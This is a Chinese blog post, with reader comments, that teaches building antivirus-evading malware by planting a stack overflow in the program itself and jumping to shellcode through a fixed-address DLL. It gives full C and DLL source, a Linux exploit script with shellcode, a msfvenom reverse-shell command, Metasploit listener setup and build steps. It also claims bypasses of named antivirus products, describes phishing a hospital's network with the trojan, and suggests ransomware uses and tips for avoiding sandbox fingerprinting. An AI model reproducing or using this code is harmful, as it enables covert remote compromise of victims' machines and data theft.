前言
如今恶意软件(如勒索病毒,木马)的制作方式基本都是分配内存--载入内存--将恶意代码变成执行程序--执行线程--等待线程执行完毕,本篇文章介绍了一种新型的恶意软件制作方式,它将不使用任何Windows API函数,也能执行恶意代码,杀毒软件(微软Defender,360,天守安全软件,火绒,腾讯管家)都无法检测这种新型恶意程序,并且探讨了如何制作和检测它。
前两年有人在网上发过相关的思路,但是使用这个方法的人并不多,我查看了代码后发现其缺乏了通用性和稳定性,调试很久才能在当前系统上运行,但是我解决了通用性和稳定性的问题,只需要编译调试一次,所有windows平台都可以稳定执行恶意代码
原理介绍
攻击者可以故意在程序里留下一个栈溢出漏洞,在受害者点击恶意程序时,恶意程序会对自己触发栈溢出攻击,就不再需要再将恶意代码分配、载入内存,执行线程等方式执行恶意代码,这样可以绕过杀毒软件的行为检测。
这种恶意程序很难被检测到,因为它是一个正常的程序,只不过在内部的某个函数里存在栈溢出漏洞,杀软无法检测程序是否存在栈溢出漏洞,所以也无法禁止这个程序运行。
如果只是普通的栈溢出的话,是很不稳定的(比如网上唯二的那篇教程),他是获取了shellcode在内存中的地址后才去编写payload的
但是不同系统,不同环境,载入的地址都是不同的,所以获取了shellcode在内存中的地址只能在本机上适用,无法达到通用性
不稳定的第二点是他是直接在溢出字符后面跟上恶意代码,由于栈上会存在其他的原始数据,所以很容易执行失败,无法达到稳定性
而第二个文章他虽然写的很详细,但是还是无法达到通用性,并且制作难度太高
因为他跳转所使用的方法是通过ret指令跳转到esp寄存器地址执行的,这个esp寄存器地址也是直接获取的,并不是jmp esp指令,但是前面也说过,但是不同系统,不同环境,载入的地址都是不同的,直接获取获取esp地址,稳定性也还是疑问
制作过程太复杂,门槛太高,所以一直不是免杀的主流技术
在网上,我只找到了这两篇文章,并且都是最近发布的,提出了思路,但是还有很多问题未解决,比如稳定性、通用性、制作的简易程度,如果这些问题都解决了,那这项技术将对免杀带来很大冲击,因为不使用任何Windows API函数的恶意程序,大部分杀软都是无法检测的
但是我解决了通用性和稳定性的问题,制作难度还比一般的免杀简单,只需要编译调试一次,所有windows平台都可以稳定执行恶意代码,并且实测能过微软Defender,360,天守安全软件,火绒,腾讯管家以及最新的360开启了ai和引擎选项的手动检测云沙箱
程序制作
什么是栈溢出?
在程序运行时,系统会为程序在内存里生成一个固定空间,如果超过了这个空间,就会造成缓冲区溢出,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,甚至可以取得系统特权,进而进行各种非法操作
程序在运行时,会在内存里生成一个栈空间,这个栈空间里会存放用户输入的一些值和寄存器里的值,栈溢出攻击就是我们输入的字符覆盖掉了特殊的寄存器里的值,控制特殊的寄存器,从而达到控制程序执行流的一个效果
什么是eip寄存器?
EIP 寄存器是指在英特尔系列处理器中用于存储下一条要执行的指令地址的寄存器。EIP 是英特尔处理器体系结构中特有的寄存器名,它代表了执行指令的当前位置或下一条要执行的指令的位置,在32位和16位程序里存在
什么是nop指令?
NOP 指令(No Operation)是一种在计算机汇编语言中常见的指令,它的作用是不执行任何操作,即空操作。
栈溢出执行shellcode流程
这里拿一个存在栈溢出漏洞的Linux程序来演示一下,可以更方便的理解栈溢出执行shellcode流程
什么是栈?
可以把栈想象成一个堆积的书本,你可以把新的书本放在最顶部,也可以取出最顶部的书本。
当程序执行时,它会使用栈来跟踪函数调用和变量的值。每次你调用一个函数,计算机会在栈上创建一个新的“帧”(就像书本一样),用来存储这个函数的局部变量和执行时的一些信息。当函数执行完毕时,这个帧会被从栈上移除,就像取出一本书本一样。
栈通常是“后进先出”的,这意味着最后放入栈的数据会最先被取出。这是因为栈的操作是非常快速和高效的,所以它经常用于管理函数调用和跟踪程序执行流程
为什么要覆盖ret返回地址?
覆盖 ret 返回地址是一种计算机攻击技巧,攻击者利用它来改变程序执行的路径。这个过程有点像将一个路标或导航指令替换成你自己的指令,以便程序执行到你想要的地方。
想象一下,你在开车时遇到一个交叉路口,路标告诉你向左拐才能到达目的地。但是,攻击者可能会悄悄地改变路标,让你误以为需要向右拐。当你按照这个伪装的路标行驶时,你最终会到达攻击者想要的地方,而不是你本来的目的地。
在计算机中,程序执行的路径通常是通过返回地址控制的,这个返回地址告诉计算机在函数执行完毕后应该继续执行哪里的代码。攻击者可以通过修改这个返回地址,迫使程序跳转到他们指定的地方,通常是一段恶意代码,而不是正常的程序代码
获取ret返回地址
使用gdb打开程序,在执行leave指令的地方下一个断点
运行程序,随便输入一些字符,然后查看栈状态
x/100wx $esp
另外开一个远程连接界面,使用gdb打开程序,在执行ret指令的地方下一个断点
在第二个终端界面运行程序,随便输入一些字符,然后执行ret指令,查看程序跳转的地址
根据计算,我们需要80个字符就能完全覆盖ret的返回地址,然后再将我们的shellcode放到控制数据的堆栈里
脚本编写
import struct
padding = "A" * 76
eip = struct.pack("I",0xbffff7c0)
nopnop = "\x90"*64
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x88"
print padding+eip+nopnop+payload
首先设置一个76位的垃圾字符,然后利用struct模块的pack功能,作用是将一个无符号整数(I 表示无符号整数)转换为二进制数据,跳转到控制数据的栈里,最后写入nop指令和shellcode代码,shellcode代码可以在这个网站里找到
http://shell-storm.org/shellcode/files/shellcode-811.html
(python stack5exp.py ; cat) | /opt/protostar/bin/stack5
执行脚本,获得shell
自缺陷程序源代码
在程序执行时,由于系统或者环境原因,内存地址都是随机的,无法准确知道jmp esp指令地址,但可以编写一个dll程序,在dll程序里写入jmp esp指令,编译时可以指定dll程序运行的固定地址,之后在不同的环境,dll库地址也是固定的,然后编译恶意程序时调用dll库,这样就有一个固定的jmp esp地址,在受害者点击恶意程序时,程序会发生栈溢出,然后调用jmp esp指令地址,执行恶意代码
文件名为sdp.c
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
void Function(char *Input);
int main(int argc, char *argv[]) {
Vuln(); #调用dll库里一个无意义函数,保证程序在编译时引用dll库
char buff[10000];
memset(buff, 'A', 2012); #溢出点在2012个字符
char addr[] = "\x8c\x14\x50\x62"; #dll里jmp esp指令地址
char nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; #nop滑梯,覆盖栈上的源数据
unsigned char code[] = ""; #shellcode,直接用的msf生成的反向连接
memcpy(buff + 2012, addr, sizeof(addr) - 1); #在2012字符后面加上jmp esp指令的地址
memcpy(buff + 2012 + sizeof(addr) - 1, nop, sizeof(nop) - 1); #在jmp esp指令的地址后面加上nop指令
memcpy(buff + 2012 + sizeof(addr) - 1 + sizeof(nop) - 1, code, sizeof(code) - 1); #在nop指令后面就是恶意代码
Function(buff); #将payload传入存在缓冲区溢出的函数里
return 0;
}
void Function(char *Input) {
char Buffer2S[2000]; #固定缓冲区大小,溢出点在2012个字符
strcpy(Buffer2S, Input); #调用strcpy函数,触发缓冲区溢出
}
shellcode直接用msf生成即可,然后放入code变量里,指定shellcode格式是32位的,然后排除\x00,因为\x00在汇编里意思的是空字符,程序运行到\x00就会停下
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=8011 EXITFUNC=thread -f c -a x86 -b "\x00"
DLL源代码,文件名为fun.c
#include <stdio.h>
void Vuln() { #前面exe程序编译时调用dll库里的一个函数
int a = 1;
}
void Jmp_Esp() { #提供jmp esp指令的函数
__asm__("jmp *%esp\n\t"
"jmp *%eax\n\t"
"pop %eax\n\t"
"pop %eax\n\t"
"ret");
}
正常恶意程序执行与自缺陷程序执行流程图:
编译程序
首先编译dll,将源文件编译成目标文件(object file),用于后续的链接操作,指定文件是32位的
gcc.exe -c fun.c -m32
然后生成一个动态链接库,指定动态链接库的装载地址(Image Base),即库在内存中的起始地址,指定文件是32位的。这里设置为0x62500000
gcc.exe -shared -o fun.dll -Wl,--out-implib=libessfun.a -Wl,--image-base=0x62500000 fun.o -m32
-Wl,--out-implib=libessfunc.a: 这里 -Wl 是 GCC 的选项,用于将其后的参数传递给链接器(ld)。--out-implib=libessfunc.a 告诉链接器生成一个导入库(import library)文件,文件名为 libessfun.a。导入库通常用于在链接时指定依赖关系,以便其他程序可以在编译时正确链接到动态链接库
最后编译可执行文件链接到libessfun.a库,然后让程序在后台运行,并指定文件是32位的
gcc.exe sdp.c -o sdp.exe ./libessfun.a -m32 -mwindows
编译完成后文件夹里应该有这些文件
并且程序没有dll文件就无法正常执行,说明程序链接成功了
找到dll库里jmp esp指令地址
由于这是第一次编译dll库,我们还不知道jmp esp指令的地址,只有找到这个了地址,之后想改变程序的恶意代码,就只用修改sdp.c的shellcode即可,然后编译sdp.c文件,其他的都不用变
找dll库里汇编指令地址要用到Immunity Debugger程序和mona插件
Immunity Debugger程序下载:
https://www.immunityinc.com/products/debugger/
mona插件下载:
https://github.com/corelan/mona
然后将mona.py放到(Immunity Debugger安装地址)\Immunity Debugger\PyCommands目录下即可
打开Immunity Debugger,将sdp.exe程序拖入,然后在最下面的指令执行界面输入
!mona find -s "\xff\xe4" -m fun.dll
这里我们要寻找jmp esp指令的地址,jmp esp汇编指令转换成十六进制就是\xff\xe4
然后在fun.dll里找到了jmp esp指令的地址,0x62501443,然后回到sdp.c源文件里,修改jmp esp地址的值,需要主要的是,这个程序是一个小端序,在小端序中,多字节数据的最低有效字节(即最低地址处的字节)存储在内存的最低地址处,而最高有效字节存储在最高地址处。举个例子,对于一个 32 位整数 0x12345678,在小端序系统中,它在内存中的存储顺序是 78 56 34 12,最低有效字节 78 存储在最低地址处,最高有效字节 12 存储在最高地址处,所以这里要从后往前输入
char addr[] = "\x43\x14\x50\x62"; #dll里jmp esp指令地址
最后再编译一次程序就可以了
gcc.exe sdp.c -o sdp.exe ./libessfun.a -m32 -mwindows
msf设置监听并获取返回shell
打开msfconsole,设置监听模块
use exploit/multi/handler
设置payload
set payload windows/meterpreter/reverse_https
然后设置lhost和lport,要和上面木马生成的保持一致
set lhost 192.168.0.101
set lport 8011
最后设置EXITFUNC,输入run开启监听
set EXITFUNC thread
run
当受害者点击sdp.exe时,主机就会执行msf生成的恶意代码,返回一个shell,需要注意的是,sdp.exe和fun.dll需要在同一目录下
实测,可以过国内的所有杀软和windows的defender,并且可以通过最新的360开启了ai和引擎选项的手动检测云沙箱
实战
在四月底的时候,我参加了一个红队项目,有授权,也允许钓鱼,我们的目标是一个市的医院,但是很难打开入口点,这时我就用了这个新技术生成的木马,钓鱼成功拿到了一个医院的内网入口
想说的
这个程序的源代码比很多免杀简单多了,甚至比普通生成的木马还简单,并且是稳定运行和上线的,我都实测了,只需要第一次编译时要找dll的jmp esp指令的地址,之后就只用改shellcode和编译sdp.c文件了,dll就只用编译一次
这种恶意程序很难被检测到,因为它是一个正常的程序,只不过在内部的某个函数里存在栈溢出漏洞,杀软无法检测程序是否存在栈溢出漏洞,所以也无法禁止这个程序运行
程序内没有任何Windows API函数,只用了strcpy、memset、memcpy这三个函数就能达成攻击,杀软是无法检测的
最好不要上传微步沙箱这些检测平台,如果上传了,你这个文件特征就会被记住,之后要重新编译或者修改特征才行的,我之前上传过,微步沙箱给这个程序标记的是安全
检测与防护
针对使用这个技术生成的木马程序,只能用内存检测的方法,因为恶意代码是在内存里运行的,静态免杀没办法,我简单弄一个aes加密混淆shellcode的,实测卡巴斯基都无法检测出来
思考
这个新技术对免杀挺冲击的,以后就不用那么复杂的进行免杀,直接用这个技术即可,简单还稳定,并且也有多种组合技,比如修改游戏的汇编代码,启动程序的时候就会执行sdp.exe,游戏是正常运行的,就算关闭游戏,木马还是在后台运行的,实测国内杀软只有火绒会检测出来,Windows的defender还是无法检测出来
关于这个修改程序汇编代码的技术,可以我主页看我之前发的文章《PE程序底层结构与恶意代码插入与执行的研究》
最后
这个技术是我在睡觉时想出来的,当时没有看过相关文章,关于这个恶意程序,除了木马,也可以利用做其他事,比如勒索病毒什么的,目前隐患还是蛮大的,学习原理才能找到更多思路
本篇文章编译的源代码以及可执行文件我放到github上了,并且还有MP4演示视频
https://github.com/baimao-box/Self-Defective-Program
学习了
@1053418361825225 你好,请问您是如何固定jmp esp的基地址,我尝试使用vstudio取消随机基地址后用OD获取jmp esp的地址后溢出了
大佬你好,我在dll编译得时候报错了,错误提示是collect2.exe: error: ld returned 1 exit status,请问这个是怎么解决
确实,但是我看了下没爆,我尝试x32dbg改了一个cmp判断,就上线了,但是技术有限目前不知道那个判断是在做什么,有师傅能告知一下我不,具体就是跟进call eax ,遇到函数F7,没遇到就步过,到一个cmp的地方,我尝试让它跳转就是jne指定地址,就上线了,但是它比较后相等,往下执行就爆exception_access_violation了不知道啥情况,有师傅能去尝试复刻一下不,想知道啥原因
@1053418361825225 CS的stageless太大了,把栈堆爆了
@1053418361825225 看来是只有32位程序是可以手动关闭DEP的
@Ba1_Ma0 师傅你好,学到了一些新知识,不过还有些问题。
1.这种方式依赖于生成DLL的固定基地址,是否在某些版本系统中基地址不能分配到?
2.能否固定exe的基地址,从而将jmp esp指令写在exe中,而无需DLL实现单文件攻击?
3.是否可以通过检测PE头的标志,如DEP、关闭随机地址来判断PE的危险指数?
针对1、2问题我做了以下实验:
1.固定exe基地址,并写入jmp esp至exe,且通过远程下载shellcode成功实现单文件上线。
2.尝试CS的stageless的shellcode无法正常上线,会出现异常(exception_access_violation),而stage的shellcode正常上线。
没看懂为啥“这个新技术对免杀挺冲击的“,和常规方法的区别只在于没分配内存,用栈溢出跳转执行,本质上讲 shellcode 还是在 private 数据段,调用栈和直接 JMP 也类似。能过静态检测可能和栈溢出没什么关系?
测试了下,还有几个问题,仅为基本windows程序和服务启用 默认情况下似乎会对所有64位程序强制开启DEP,即使设置关闭DEP标志也一样,32位的话会根据自身PE头的标志决定是否开启DEP
师傅,除了msf生成的shellcode可以去除\x00,其他c2的shellcode似乎均存在\x00,尝试了使用开源项目sgn编码器去除\x00似乎不行,这种方法对shellcode有一定要求。
windows下可以使用vs2022在链接器选项中里为单个exe关闭DEP。
gcc可以使用-Wl,--disable-nxcompat为exe关闭DEP,无需考虑GCC版本
@ming9 没读全文章,\x00会被当成结束字符被干掉
shellcode为什么会被吞了

@Ba1_Ma0 是的,用的是github上的案例。静态没问题,但动态会被杀。不过还是学到了,谢谢师傅。
@karmotrine_d**** defender
